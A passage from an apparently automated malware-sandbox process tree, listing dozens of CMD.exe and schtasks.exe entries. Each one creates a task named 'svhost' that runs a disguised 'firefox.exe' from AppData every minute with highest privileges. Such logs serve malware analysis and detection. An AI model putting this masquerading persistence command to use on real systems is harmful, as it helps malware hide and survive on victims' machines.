    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8612
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8576
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:9184
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1796
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4364
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3964
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:528
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:3744
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:556
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1660
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:212
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3364
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4856
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2328
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4280
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5048
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5888
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2820
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1020
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2804
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3676
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5092
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4756
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1296
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5872
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:396
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6008
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5620
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3320
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3064
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3668
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1956
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:656
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:636
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3164
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1700
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:944
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6180
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6292
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6248
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6372
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6448
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6524
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6576
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6560
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6636
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6620
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6672
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6724
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8060
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6772
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:6800
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:6944
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7028
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7076
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7136
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7216
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7208
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7304
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:7236
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7264
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:7384
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7356
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7448
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7404
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7488
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7460
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:7552
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7532
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:7604
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7584
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:7676
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7736
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7780
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7768
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7832
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7824
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7896
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7884
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:7952
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8000
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8024
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8096
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8104
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:3916
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1892
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8164
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8176
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5276
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8284
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8256
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8356
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8308
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8396
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:7984
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8440
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5956
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:8500
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8544
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:9156
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5520
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:9092
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8960
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:9004
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8908
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8880
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8856
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8820
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8804
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8768
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8776
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8700
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8656
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:8608
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8588
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:1328
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:9200
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5912
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4648
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:528
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:428
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:1664
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:5536
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:4580
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:2868
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:3132
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:1884
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:2312
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:8140
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      PID:5480
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST & exit
    3⤵
    PID:4660
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo -1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\firefox.exe" /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:5240
- - C:\Windows\SYSTEM32\CMD.exe
